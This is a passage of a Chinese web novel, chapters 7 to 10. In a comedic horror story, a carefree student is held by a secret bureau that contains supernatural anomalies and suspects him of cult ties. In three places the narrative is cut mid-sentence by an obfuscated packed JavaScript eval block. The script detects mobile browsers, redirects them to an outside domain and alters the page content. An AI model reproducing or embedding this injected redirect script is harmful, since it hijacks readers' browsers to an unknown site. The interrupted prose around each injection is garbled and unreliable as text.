《祂绝对不是普通男大!!!》 7. 第 7 章 不等郁樹做出反应,一群荷枪实弹的警员冲进教室将陈教授团团围住,看他们的穿着和装备,似乎还是特警。 没想到竟然是警员先到了,郁樹纳闷,可一个简简单单的群殴未遂事件至于惊动这么多警员吗? 啊,也不能说未遂,毕竟陈教授的眼睛都被打红了,人更是口吐绿沫不省人事,估计是伤到胆了,不然也不会口吐绿色液体。 不过警员也来得太快了吧,难道就在附近? 可究竟是谁报的警啊? 他看向刚才被他扇了一巴掌的同学,啧啧纳闷,一郎平时对陈教授也挺舔的啊,实际竟然这么恨吗? 郁樹打了个冷颤,咦,好恐怖的人心。 他刚想去后排拿自己的手机打急救电话,尚青北就攥住他手腕,无比坦诚而真挚道:“樹,真的,再给我一巴掌。” 郁樹:“……” 他皱着眉,嘴角却控制不住向上扬,平时怎么没看出来他的富N带舍友竟然是个抖M?之前那嚣张霸道的爹味哪去了? 郁樹甩开他:“ 别闹。” 刚要看看是不是自己那一巴掌把人抽傻了,一位领导模样的警官环视一圈,朗声道:“有人报案说这里发生了打架斗殴,辛苦各位跟我们去警局做个笔录。” 比起这个,郁樹更担心陈教授的伤情,于是壮着胆子举手:“警官先生,陈教授他受伤了,得尽快送去医院。” 说话间,他又看了眼被一群警员团团围住的地方,空气都不流通了,陈教授还能行吗? “放心,我们一定会好好照顾他的。”警官着重强调了“好好”两个字。 他说话的同时,就有一队医护人员走进来,手里拿着便携式生命体征监测仪,挨个检查这群大学生,然后安排他们去不同的大巴车里。 郁樹:“……” 真的没有搞反吗? 受伤的是陈教授,被检查身体情况的竟然是他们这群毫发无损的大学生? 而且为什么坐大巴车还得分门别类? 正想着,医护人员就走到他面前,拿着仪器对他各种扫:“滴!滴滴!!滴滴滴!!!滴滴滴滴!!!!” 医护人员沉默:“………………” 郁樹不解:“怎么了医生姐姐?是仪器坏了吗?” 医生拍了拍监测仪,挤出一个笑容:“没事,可能是接触不良,拍几下就好了。” 表面淡定,心里却慌的不行,好好的监测仪怎么突然就疯了?污染值计数一路飙升,最后直接乱码,出现无数个躺着的8! 这可是那位精心研制出来的仪器,专门用来监测精神污染指数的,全球的调查员都在用,从来没出现过纰漏,怎么突然好像被精神污染了一样? “要不换一个试试?”郁樹试探性地提议,“可能换一个就好了。” 看着显示面板上不断乱跳宛如蹦迪的??,“医生”也没了办法,重新拿了一个再次扫描郁樹。 “滴”一声,新仪器一切如常,面板上显示出巨大的【0】。 “医生”松了一口气,同时又在心里感叹:哇,这也太厉害了吧,竟然没受到一点污染,精神值强悍得一批啊,毕业后能不能直接进异管局? “医生”朝郁樹笑笑:“同学,你上1号大巴。” 就这样,载着一教室学生的大巴向着警局的方向驶去。 离开之前,郁樹看向窗外,几位警员将陈教授抬进一辆车里,车身通体漆黑,表面有一个巨大的银色图案,类似十字,却是由一横一竖两条持续弯曲的线组成。 这是什么新式救护车吗?郁樹眨眨眼,画风有点阴间啊…… - 阿卡姆市异端调查管理局今天特别忙碌,从三辆大巴车上下来小二百名大学生,个个都得做笔录、清洗记忆,还有不少精神污染值高的得做特殊处理。 别说一线调查员,局长德里克都忙得不可开交。 A1级异端的事情还没收尾,就又来个大范围精神污染事件,波及的还都是大学生,影响之恶劣、预后之艰难,德里克想想都发愁,自己还能不能顺利退休了? 为了尽快解决此次事件,年过半百的老人家亲自上阵,跟着一线调查员们一起做笔录。 可结果刚开始没多久,秘书就过来小声告诉他:“那位来了。” 满心满脑都是笔录的德里克没反应过来,问:“哪位?” “就……”秘书凑在他耳边,小声道,“厅长派过来的那位啊。” “!”德里克一下子坐起,吓得对面的学生直接梗在哪里,好不容易恢复的神智再次远走他乡,整个人变得呆若木鸡。 德里克:“……” 他说了声抱歉,交待调查员好生处理后,匆匆离开。 局长办公室门前,德里克擦了下额头上的冷汗。 要不是秘书提醒,他都忘了厅长委派那位过来指导他们收容【异A1-055】的事,他还什么都没准备,连个横幅都没拉,哪里有个欢迎领导莅临的样子? 可就算他没忘,那位过来的也太快了点,昨天刚说完,今天人就到了,要知道首府离阿卡姆那可是隔了大半个星球,开着火箭从地底钻过来也不能有这么快。 不过,如果是那位,似乎没什么是不可能的。 只是不知道如此受冷待,没有一个人夹道欢迎,那位会作何感想? 半白的眉心深深蹙起,通向办公室的每一步,德里克都走得无比艰难。 他小心翼翼了一辈子,上捧领导,下驭下属,对内在各个政府机构间斡旋,对外监管整个阿卡姆市的异端事件,真的是劳心又劳力,怎么临到退休栽倒这点鸡毛蒜皮的小事上? 办公室门前,德里克在头顶、胸前、左右肩膀上划拉一下,又双手合十闭上双眼拜三拜,然后整理一下领带,敲门,在里面的人应声后进入,恭敬得仿佛那不是他自己的办公室。 “您来了,路上还顺利吗?”一进去,德里克就微微弓着腰,笑着朝窗前伫立的背影问好。 “德里克,身为异管局局长,你的宗教信仰倒是挺全面。”听见声音,那人也没回头,继续看着窗外淡淡地调侃。 “啊,让您见笑了。”听见对方的回答,德里克蹭了下鼻尖,看样子对方和别的领导不一样,不是个爱耍官威 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16103027|179824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人。 但紧接着,他就惊恐起来,豆大的汗珠顺着太阳穴往下滑。 隔着门,还背着身,竟然对自己的小动作了如指掌! 那这位的能力……? 他还来不及细想,对方就转过身来,语气依旧无波无澜,透着一种骨子里的漠然:“异端管理守则第一条是什么?” “?嗯?”德里克下意识看向对面,“非必要,不探究。” 旋即,他就反应过来,匆忙低头鞠躬,“感谢您的宽恕。” 那人不置可否,抬脚走向门口:“带路。” “去,去哪里?”德里克匆忙跟上,擦着冷汗问。 “【异A1-055】消失的地方。” - 德里克无法左右对方的决定。 一则人家是上面派来的特别调查官,虽然在厅长手下办事,职级可是正厅级; 二则仅仅是刚才那一眼,他就能感觉到对方的能力深不可测,不愧是全国唯一一个S+级调查官。 他走在稍前的位置,脑海里疯狂琢磨何种路径可以不让对方看见底下的一片狼藉,小二百名大学生汇集在异管局,饶是安排得再合理,也会显得乱哄哄的。 虽然对方不是在意这种事的人,但留个好印象还是很有必要的,每一个细节都关乎着他能不能安稳退休。 结果越怕什么,越来什么,他刚带着特别调查官走到一楼,迎面就撞上一个大学生双手抱头,在走廊里狂奔,嘴里还痛苦地呼号:“啊啊啊!我的脑袋里有虫子!它们在吃我的脑子!!!” 德里克:“……” 他严肃地瞪一眼晚半步追出来的下属,无声勒令他们赶紧把人控制住,转身又换上小心翼翼地表情:“呵呵,又让您见笑了,小状况,完全在我们掌控中,您不用操心。” 特别调查官瞥了他一眼,忽然转身朝审讯区走去。 “真的,我们真的能处理好,您完全不用操心的。”德里克小跑着追上,讨好道。 走到第一间审讯室门前,对方停下脚步,问了他一个问题:“德里克,今天的你还是昨天的你吗?” “???”德里克当即满脸疑惑,问号都快以实体的形态浮在头上了。 他低下头,细细琢磨这句话。 不愧是S+级调查官,随便一句话都富有哲学思辨意味。 可是怎么回答呢? 什么样的答案才完美无缺? 今天的他还是昨天的他吗? 仿佛被什么重要的事情占据了大脑,德里克完全沉浸在这个问题里,其他的全都顾不上了,哪怕又有大学生冲出来在走廊里疯跑狂叫,他依然靠墙站在一边,静静思考着这那个哲学难题。 恰在这时,特别调查官推门进入审讯室,里面的调查员刚想轰他出去,就被一道无形但极具存在感的威压喝退,自觉将中心位置让开。 那人走过去,透过单面镜看向对面。 一位相貌极其优越的男生从椅子上探过身去:“欸!你不是昨晚收集霉菌的学长吗?原来竟然是警员吗?所以那份外卖实际上是罪证?你们在调查无良黑心商家?” 8. 第 8 章 对面,贺铮的瞳孔剧烈地收缩一下,他本意是想要亲自询问315宿舍的学生,没想到竟然被认出来了,昨晚那么昏暗的光,他们又都全副武装只露出一双眼睛,眼前的大学生是怎么认出来的? 他又仔细端详了一下对面的学生,神态自若,兴致勃勃,好像这不是警局(虽然真的不是警局,但却是比警局保密级别和危险级别更高的地方),而是什么能够令人兴奋的游乐场。 A3级异端虽然是危险等级最低的,但也沾上了危险两个字,其他学生疯的疯、狂的狂,这人却完全没有受到影响,污染值甚至为0,精神值比某些调查员都稳定。 是天赋异禀,还是异端本端? 贺铮不由得更加严肃起来,嘴角勾起一个冷漠的弧度:“那你说说那份外卖的事,它是怎么到你们宿舍的?有人吃过它吗?吃完后有没有出现什么不良反应?” 郁樹更兴奋了:“你们果然在调查外卖的事!不愧是守护一方治安的好警官,心系公民的身心健康!” 贺铮:“……” 队员说的对,这孩子两眼间确实有一股没经过社会毒打的清澈。 现在是恭维拍马屁的时候吗? 拍的还是另一波人。 他捏了捏嗓子,干咳一下,正色道:“回答问题,多余的话不要说。” “哦,好。”郁樹后背靠回椅背,双手十指交叉,低下头看了眼掌心,然后抬起头,注视着面前的两位警员,徐徐道,“那好像是青北点的夜宵,不过送过来的时候就是馊的了,里面还发霉长虫了,这我们能吃吗?肯定不能啊,所以警官先生,你们真的得好好查查这家外卖,一定有大问题!” 说完,他低头蹭了一下鼻尖,然后观察着两位警员的反应,心里却在不停打鼓。 尚青北那么好面子的一个人,绝对不会让别人知道自己曾经对着一份长毛发霉的馊饭留下了激动的口水。 好兄弟的面子还是得守护一下的。 虽然和警官撒了谎,但这种细节无伤大雅,没关系吧? 看着他的反应,贺铮就知道他在撒谎,不过他没有立即戳穿,而是继续问下一个问题:“那你后来开门是想要做什么?” “当然是把它扔到它该去的地方。”郁樹不假思索,这个问题他回答得很有底气。 “该去的地方?”贺铮挑眉。 “垃圾桶啊,”郁樹有些关切地看了眼对面的警官,“都馊了,放楼道招虫子,垃圾桶才是它的归宿,不过幸好你们提前来了,不然就得翻垃圾桶了。” 贺铮的眉心拧得更紧了,垃圾桶,把一个A1级的危险异端扔进垃圾桶,垃圾桶要得起吗? 还是说他口中的垃圾桶其实不是垃圾桶,而是别的什么? 比如……某邪教组织……lakita的代称? 两次事件都发生在克鲁大学,说不定就是lakita的手笔,而面前这个大学生也许就是lakita派到阿卡姆的教徒,异端扩散引发群体恐慌,恐慌导致信仰崩塌,正是吸纳信徒的好时机。 但管自己的教派称作垃圾桶会不会太地狱了点? ……综合来看,那个教派确实是这个作风。 贺铮单手托着下巴,是时候询问一下315宿舍的其他人了…… - 另一边,特别调查官站在单面镜前,整个问询过程中眼睛都没眨一下,仿佛完全进化掉了正常人的生理需要,充满一种非人的无机质感。 贺铮出去后,他终于漠然地眨动一下眼皮。 孤儿,18岁后离开福利院独自生活,学习成绩徘徊在及格边缘,平时不是打工就是刷寻亲视频,唯一的优势也就是骨相和皮相都优越,但这点在一个出身普通的人身上就是劣势,有数不清的磨难在后面等着他,之前没遇到顶多算是幸运。 在这样一个平平无奇的男大学生身上下功夫,怪不得贺铮这么多年还只是个Alpha小队的队长。 柯璆面无表情地推开审讯室的门,看来刚才那点异动完全是错觉。 门口,局长德里克一见他出来就激动地走上前,腰一弯就要握手:“太感谢您了!要不是您——” 即将碰上的前一秒,柯璆双眸一凛,冷冷看过去:“多余的动作别做,继续带路。” 要不是您我都没意识到自己被异端入侵了,德里克悻悻在心里说,那个问题不仅哲学思辨意味浓厚,更让他清楚意识到自己的不对劲—— 他哪里是在乎政绩的人? 刚才的他如果是昨天的他,那他一定会求着特别调查官帮他调查今天的克鲁大学集体精神污染事件,怎么会斗胆阻拦? 幸好有这位的提点,让他可以在事态还未进一步发展的时候及时驱除那个异端,竟然妄图蛊惑他以掌控整个异管局?某些藏在背后的势力别太嚣张! 异端案件频发,幸好这位传说中的S+级调查官来了,一切都能迎刃而解。 德里克忙不迭弯腰鞠躬,摊开手掌做请的姿势,“是,是,不过现在全局上下都回忆不起【异A1-055】是在哪里消失的,只记得它畏罪自裁了,要不我先带您去看看它残留的身体组织?” 柯璆点了下头,德里克和其他队员的意识里确实没有【异A1-055】消失的具体位置,不过没关系,有残留组织也能探查出来。 他跟着德里克一路走到实验楼,里面是各种科学的与非科学的实验室,原本应该安静且充满秩序的地方此刻却乱成一片—— 受到精神污染的大学生吱哇乱叫,疯疯癫癫,不停挣扎,实验员们艰难控制住他们,然后用一个类似迷你吸尘器的东西吸出他们脑袋里的暗绿色团块。 局长德里克冒着冷汗解释:“【异A2-007:饕餮除螨仪】,之前收容的,后来发现它能清除A2及以下的异端扩散物,就用来做这事了。” “嗯,”柯璆不置可否,只提醒道,“别让它吃太饱。” 德里克忙不迭点头,然后伸手指向面前的另一间实验室:“这就是【异A1-055】残留下来的身体组织。” 柯璆少见地仰起了头,只见色彩斑斓的霉菌铺满整间实验室,墙壁、屋顶、地板无一幸免,全被霉菌覆盖。 局长擦了下额头上的汗:“队员说它急切地想要证明自己的价值,所以长得特别疯狂,不过自裁后就不长了。” 柯璆观察着实验室里的霉菌,伸手捻了一下,毫无生物活性,只能读出点碎片化的信息。 原本是人,因为频繁偷外卖被人报复下毒毒死,临死前不知悔改,反而怨念极深,机缘巧合下与外卖一起异化为异端,伪装成外卖的样子诱使人偷窃品尝,趁机蚕食人类,随着进食次数的增加,异化能力也越来越强,出手从无败绩。 这样的异端会畏罪自裁? 柯璆擦着手指:“既然是半路畏罪自裁消失的,那这些身体组织是哪来的?” 听见他的问题,德里克露出了震惊又困惑的表情:对啊,灰都没剩下的东西怎么会出现在实验室?还铺了满满一屋子?! “去会会315宿舍的其他人。”柯璆转身往审讯室的方向走,那个叫郁樹的没问题,其他人可就不一定了…… - 另一边,贺铮根据资料来到尚青北所在的审讯室。 一进去,他就感觉到一丝异样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16103028|179824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —— 他顺路看了眼其他审讯室的情况,那些受到精神污染的学生或是谵妄癫狂,或是痴愚呆滞,明显处于正常的精神污染后应激障碍中。 但这个尚青北不是。 他坐在椅子上,虽然两眼放空,时而苦笑,时而掩面,看似不正常,却明显是在思考什么,而且一只手始终摸着半边脸,不知道是疼,还是什么其他原因。 贺铮看了眼同事记的笔录,空白一片,看来是什么都没有回答。 负隅顽抗,一定有问题,说不定是那个郁樹发展的第一个信徒。 他双手抱臂,盯着对面的人,严肃道:“说说吧,你的舍友郁樹是个什么样的人?” 原本他们让这群学生来异管局做笔录一是为了清除他们的精神污染,再就是想要多方面了解情况,还原真相,虽然有能让异端口吐真言的特殊道具,但那东西使用起来代价太大,不到万不得已他们不会轻易使用。 没想到这次询问还能顺便变审问几个潜在嫌疑人,果然邪不压正。 贺铮越发笃定对面的人和郁樹都有问题,眼神都变得犀利起来。 他对面,尚青北依然木着一张脸,内心活动却无比丰富。 挨抽的那半边脸早就不疼了,但他就是舍不得放开,因为这个巴掌,他再次逃过一劫,而这巴掌是郁樹赏的。 为什么说赏? 因为这已经不是郁樹第一次救他了。 作为一个初级觉醒者,尚青北知道这世上有异端的存在,他也曾遇见过不少,但每次都被他轻而易举消灭,这让他信心倍增,那八只眼睛可都不是白长的。 一次偶然的机会,他救下了被小混混欺负的郁樹,从此开始了富N代流落宿舍的生涯,但他甘之如饴,一股莫名的执念在心底生根发芽—— 他得保护郁樹,保护这抹少见的单纯与清澈。 可结果呢? 两次遭遇异端,他这个初级觉醒者轻易就被精神污染,而郁樹,那个他认为需要被保护的普通人却屡屡将他从疯狂边缘拉回来,不费吹灰之力,甚至只是一句话、一个巴掌就能完成这不可能完成的壮举。 尚青北简直不敢想象如果没有郁樹,他会变成什么样。 果然他的直觉是对的,郁樹不是一般人,他伪装成普通大学生一定是在进行什么伟大的使命,也许是高级觉醒者,也许是隐藏在群众中进行特别任务的秘密调查官,反正他的身份肯定不简单,他的目的绝对不一般! 而自己的第一反应竟然是怀疑、否认郁樹的特殊,竟然认为他是个清澈单纯的普通人,自己礼貌吗? 简直狂妄得令人发指! 清澈只是他的伪装,单纯只是他的保护色,真正的强者从不惮用最寻常的身份进行最伟大的事业! 自己的理智怎么回事? 为什么癫狂得如此离谱?! 为什么对这样一个存在没有展现出应有的尊重?! 他甚至每晚都在窥视他的容颜! 他怎么配?怎么敢?怎么能够? 对面的调查官又把问题重复了一边,真烦,这等存在的身份也是他一个小小调查队队长有资格打探的吗? 郁樹伪装成一个普通男大,一定有他理由,而自己,一个卑微的拥趸唯一能做的就是替他保守住这个秘密,哪怕他可能不需要自己的多此一举。 尚青北依旧捂着半边脸上那个被眷顾的印记,睥睨地看向对面的人,吊儿郎当道:“他不是人……” 贺铮的心停跳半拍,果然! 下一秒,尚青北的嘴唇玩味一勾:“他是我异父异母的爹。” 贺铮:“?!” 9. 第 9 章 贺铮神色凛然:“老实交代,你当这是什么地方?” 尚青北无所畏惧地扫了他一眼,撇撇嘴,明知故问:“这是什么地方?” “这里是yi——”贺铮猛拍一下桌子,又生生止住话头,“你不交代没关系,你的同伙都已经交待了,我们有的是办法定你的罪。” “好啊,既然如此,”尚青北大咧咧靠在椅背上,一副混不吝的样子道,“那在我的律师过来之前,这将是我说的最后一句话。” 说完他就坐在椅子上闭目养神起来,任凭对方怎么问都不肯再说一个字。 职业生涯从未尝过败绩,却连续两次栽在审问上的Alpha小队队长贺铮:“……” 他两腮高高隆起,双拳紧握,恨不得一拳揪出对面的大脑,看看对方到底在想什么。 可惜他不能。 对方态度嚣张,穿着打扮不俗,明显非富即贵,lakita教派也最喜欢发展这样的信徒。 和这样的人交涉,异管局也得小心谨慎,不能让对方的律师抓到丝毫把柄,否则不仅异端的事会败露,自己的职业生涯也会受到威胁。 贺铮最讨厌的就是处理这群达官显贵的事。 他紧锁着眉毛走了出去,没关系,他就不信从那个异端嘴里撬不出东西来,大不了上点必要手段,有些代价,该付出就得付出。 - 不久之前,异端处置室里,一群白大褂围着操作台忙得不可开交。 操作台上是一具无法描述的身体亦或是组织,它有人的躯干和四肢,下巴却开合到惊人的一米多长,里面布满墨绿色的小团快,像宝石珠子一样又绿又亮,却并不给人以美感,反而在深红血液的包裹下透出幽暗的光,黏腻、诡异,即使没有密集恐惧症的人看了也会起鸡皮疙瘩。 硕大的嘴巴里不断有墨绿色的团块冒出来,将那人的嘴越撑越大,表皮崩得发亮,隐隐有血丝渗出,随时都有撕裂的可能。 白大褂们紧急进行着收容处置,从那张硕大的嘴里一把一把拽出墨绿色的团块,“噗嗤、噗嗤”的声音在处置室不停回荡,透着一股诡异的欢快之感。 如果仅仅是“噗嗤”声,这份工作倒也能让人接受,毕竟足够解压,可偏偏在这种令人舒适的声音之下,还伴随着异端凄厉可怖的嘶吼,如果不是它的手脚和身体都被操作台牢牢束缚,白大褂们恐怕早就会被它异化吞噬。 其实完全可以减轻异端的痛苦,但白大褂们不愿意,相较于解压的“噗嗤”声,异端的恐怖嘶吼才是这份工作的最佳伴奏,如同交响乐,荡气又回肠。 “噗嗤、啊—— 噗嗤、啊~—— 噗嗤、啊~——~” 在诡异又富有节奏的伴奏声中,白大褂们工作得更起劲了。 操作台旁边是一盏巨大的香炉,白大褂扯下一把墨绿色的团块扔进去,里面顿时窜出三米高的蓝绿色火焰,瞬间将那些团块燃烧殆尽,渣都不剩。 焦香的味道扑鼻,一位白大褂对着蓝绿色的火焰舔舔嘴唇:“我们真的不能把它烤着吃了吗?” “想什么呢?”另一位白大褂将手里裹着血液的墨绿色团块扔进香炉,蓝绿色的火焰再次窜出老高,“老实工作!” 话虽如此,它却咽了下唾液,悄悄嗦了一口沾满黏液和血液的手指,脸上的贪婪呼之欲出。 吵吵嚷嚷的处置室里,那道“咕咚”声不知怎么清晰地传进陈胜荣耳朵里,它顿时忘了嘶吼和哭泣,转着通红的眼睛使劲儿观察四周,可它忘了,它的眼球已经爆了,眼眶里只留下一个黑中带红的血窟窿。 回想到之前的事,它就不敢回想。 明明只是一堂普通的高数课,明明它只是想体验学生的爱戴与崇敬,明明它都已经体验到了,可那位学生一靠近,全都毁了。 它看见一团无法名状的彩色云雾,它听见一道无法理解的神圣呢喃。 它畏惧!它颤抖!它疯狂! 是它咎由自取,是它不自量力,竟然对那样的存在产生过鄙夷之心,竟然妄图压制那样的存在。 它怎么敢?! 它怎么配?! 它连俯首叩拜祂的资格都没有!! 血窟窿里流下忏悔的泪水,盛满两颗眼眶,脏兮兮的,仿佛染了血的泥汤。 听不见它凄厉的嘶吼,白大褂们似乎不太高兴,扯得更用力了。 撕心裂肺的痛苦唤回了陈胜荣的神智,它吸着鼻子感知周围的一切,不感知不要紧,一感知,整个端再次恐慌起来—— 小小一个房间全是级别比它还高的异端! 那香炉是! 它躺着的操作台是!! 围着它眼冒绿光的五个白大褂更是!!! 让异端处理异端,异管局还能不能办点人事?! 一张清隽的脸倏然浮现在脑海,陈胜荣恐慌更甚,却咧开嘴大笑起来:“啊哈哈哈!啊哈哈哈哈!” 神罚! 一定是神罚! 神的惩罚,跪着也得赎完! “噗嗤、啊——! 噗嗤、啊~——! 噗嗤、啊~——~!” 激荡的嘶吼声再次响彻整个房间,白大褂们挂着餍足的笑,全身都充满干劲儿,富有节奏感的哀嚎余音绕梁,仿佛一片欢乐的海洋…… - 贺铮找过来的时候看见的就是这样一幕,但他早已习以为常,这几个异端还是他收容的。 【异A2-039:诡乐手术室】 【性状与能力】:该异端由五位因医闹而命丧手术台的医护工作者组成,其中包括2名外科医生、2名手术室护士、1名麻醉医生和一张手术台,五人及一手术台配合默契,专门给医闹患者和家属做器官切除术(注:此过程中麻醉医生负责让受害者保持清醒的感知觉),以聆听他们的哀嚎为乐。 【收容方式】:经过特殊教化,此异端已被阿卡姆市异管局收编,专门负责处理A2及以下异端的异化机体组织。 【危险程度】:★★(收容前★★★) 利用异端处理异端也是收容异端的一大手段,既能节省人力物力财力,还能适当搞好人异关系,这在当今世界而言是非常有必要的,普罗大众早晚都会得知异端的存在,如果到那时政府给他们展示的和谐友好的人异关系,那么潜在的不安分子便会失去作乱机会,于社会稳定是非常有利的。 这还是拉莱耶州州长提出来的治理方案,没想到真有点用处。 贺铮无所谓上层建筑的一切,他只知道解决好当前的事。 不顾刺耳的喊叫声,他快步走进处置室。 见他进来,白大褂们都停了手上的工作,木愣的双眼复杂地看过去,有戒备、有恐惧,还有怨恨,就连手术台都分心看过去,差点让怀里的异端跑了。 就是这个人害的它们从自由自在的异端变成异管局的苦力,虽然有福利津贴,但那些身外之物哪比得上聆听医闹者的惨叫来的痛快?现在它们也就听听其他异端的惨叫,少了好多趣味。 有端不欢迎他,有端却看见他激动地热泪盈眶,就是眼眶再度蓄积的血红色特别诡异。 神罚,太痛了! 它想赎罪的,可是太痛了! 真的太太太太太痛了! 求求了,让它以其他的方式赎罪吧! 陈胜荣朝着贺铮所在的方位疯狂求饶:“长官!我说!我什么都说!我全交代!” 正要拿出【真话翻译器】的贺铮:“……” 之前怎么没发现【诡乐手术室】对异端有这么强的威慑力? 自己都做好付出代价的心理建设了,结果竟然这么顺利吗? 看来那个lakita教派实际上一团散沙。 他严肃问:“那就老实交待,你和郁樹是什么关系?你们来阿卡姆目的是什么?你们教派还有谁来了?” 一脸三个问题,问得陈胜荣满嘴的墨绿色团块变成问号的形状,■■?那是谁?自己的学生里好像是有个叫■……■的,等等!■■?!原来是祂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16103029|179824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 小小人类竟然直呼神明?! 放肆! 小小人类胆敢妄议神明?! 猖狂!! 小小人类也配得知神明的存在?! 休想!!! 神明隐藏在人世间,又伪装得如此低调,一定不想被其他人发现自己的身份,即使有幸窥知,也得为其保守秘密。 这也是神明的旨意! 它要遵循神明的旨意! 忍受不了疼痛,这个它百分百能做到! 陈胜荣故作惊慌地喊道:“那是谁?教派是什么?长官,我学数学的,我的教派是科学啊!” “还不说实话?!”贺铮紧锁着眉心,还是准备拿出【真话翻译器】。 “我说的都是真的啊长官!”陈胜荣皱着一张脸哭求,“真的,求您了,我愿意配合,只要您别让它们再继续生扯我的肉了,它们……它们甚至想要吃掉我!!!” 它话音未落,束缚着它的几位异端就控制不住地再次舔了下嘴唇,看向贺铮,发出叽里咕噜的渴望,仿佛是在问:可以吗? 贺铮清楚它们的尿性,决定好好利用,于是阴险一笑:“不说是吧,它们几个可是饿了好几天……” 陈胜荣嗫嚅着,更多的墨绿色团块分泌出里,很快就把喉腔堵死了。 贺铮失去了最后的耐心,就在他准备切下自己的一小块舌头激活【真话翻译器】的时候,局长德里克的声音传来:“慢着,贺铮,你等等。” 顿时,所有异端都仿佛老鼠见了猫一般瑟瑟发抖,一动也不敢动。 贺铮心生惶惑,平时异端见了局长也不这样啊,今天这是怎么了? 他扭过头,看见一个体型高大的男人正在扫视整个处置间,目光所过之处,异端们颤栗得更剧烈了。 那人最后看向他,“这异端的确对你口中的大学生没印象,lakita派来的教徒另有其人。” “怎么可能不是郁樹?”贺铮笃定地反问。 - 看着单面镜后面的男生,贺铮依旧狐疑:“确定是他?” 局长德里克拍他一下,严正警告:“那位可是全国唯一的S+级调查官,你的经历对他来说就是一本书,想翻到哪页就翻到哪页,还能有假?” 贺铮揉着自己的胳膊:“万一记忆被篡改覆盖了呢?” “不可能,”德里克回忆着方才被异端操控大脑的经历,幽幽道,“哪怕记忆被覆盖、人格被扭曲,他也能准确无误地看出来。” “这么确定?”贺铮偏头,“那他就没从郁樹那里看出来点什么?” 他还是认为郁樹有问题,普通大学生怎么可能做到在警局泰然自若? 哪怕是尚青北,那也是借着家族势力才敢如此嚣张,郁樹一个孤儿,哪来的底气处变不惊?仅仅只是心理素质过硬吗? “质疑是你的优势,但也会成你的劣势,”德里克拍了下他的肩膀,“赶紧把人放了吧,再拖下去舆论媒体又要阴谋论了。” 经过漫长的等待,在笔录上签完字后,这群大学生总算是解放了,三五成群地坐进大巴车。 “怎么感觉好像做了一场梦?” “如果是梦就好了,我就知道灭绝陈不是个好东西!” “不过一郎看起来那么瘦,哪来的力气把人活生生打死的?” “可能是绵绵不绝的恨意吧,狗急了还跳墙呢,更别说人了。” 郁樹跟在人群里,这些话断断续续地飘进耳朵,令他恍然大悟,怪不得他让一郎打120,他却把警察叫来了,原来是宁肯蹲大狱也得拖延时间弄死陈教授啊,如此凶猛的恨意,陈教授到底对他做了什么? 正走着,一份传单忽然飘进手里: 【有未了的心愿吗?有未竟的执念吗? 世界浑浑噩噩,吾主送来光明。 Lakita,诸神的信仰; Lakita,宇宙的荣光。 7月37日,相聚群星酒店,一同见证神迹降临!】 10. 第 10 章 7月37日,郁樹撇了下嘴角,日期都能填错,宣传这么不用心,人家想去都去不了啊。 他把宣传单揉成一团,一个抛物线直接扔进垃圾桶,匆匆登上大巴车。 现在的警员太负责了,出了人命,不仅羁押嫌疑人,还给他们这群学生挨个做笔录和心理疏导,就没见过这么负责任的政府机构,青北还说现在世道乱,肯定是信息茧房了,有这样的警局,社会只会越来越和谐。 想到尚青北,他环顾一圈,没在车里看见人影,这孩子被带到警局之前还求他抽他,也不知道现在脑子清醒了没。 他打算发个消息问问,结果手机刚拿出来就差点掉地上—— 十几个奶茶店老板的未接电话! 几十条奶茶店老板的未读消息! 最后一条是醒目的五个大字:【你被开除了!】 再一看时间,竟然已经下午五点了?! 自己竟然在警局待了整整一天?! 可是为什么感觉没坐多久啊? 他甚至只喝了一瓶警员递过来的矿泉水。 郁樹马上给奶茶店老板打电话,事出突然,早上警员一到就把他们的手机收上去了,他根本来不及和奶茶店老板打招呼,再说谁能想到他们能在警局待一天啊,当时看起来明明就是个简单的群殴事件。 诶对,陈教授是怎么死的?早上虽然晕倒了,但明显还有生命体征,好端端地就抢救无效了? 郁樹忽然又想起那辆黑色的、印着银色曲线十字图案的车,那真的是急救车吗? 啊啊啊! 不对不对,怎么又跑偏了? 想正事! 听着听筒里传来的“嘟嘟”声,郁樹咬了下指甲,一秒、两秒、三秒……数不清等了多久后,对面终于接通电话:“还打电话干什么?都说了你被开除了,我跟没跟你说过我最讨厌无缘无故旷工的人,你还跟我玩消失,我告诉你,没门儿!求情也没用!” “叔,我这真是事出有因,不是故意的,早上我们班出大事了,全班都被请到警局来了……”郁樹好言好语地解释,情绪稳定到离谱,完全不被对方的强硬态度所影响。 “啧啧,你自己听听你说的像话吗?出了这么大的事,我这奶茶店就在你们学校旁边,我怎么没听说?”奶茶店老板不依不饶,一点余地都不给。 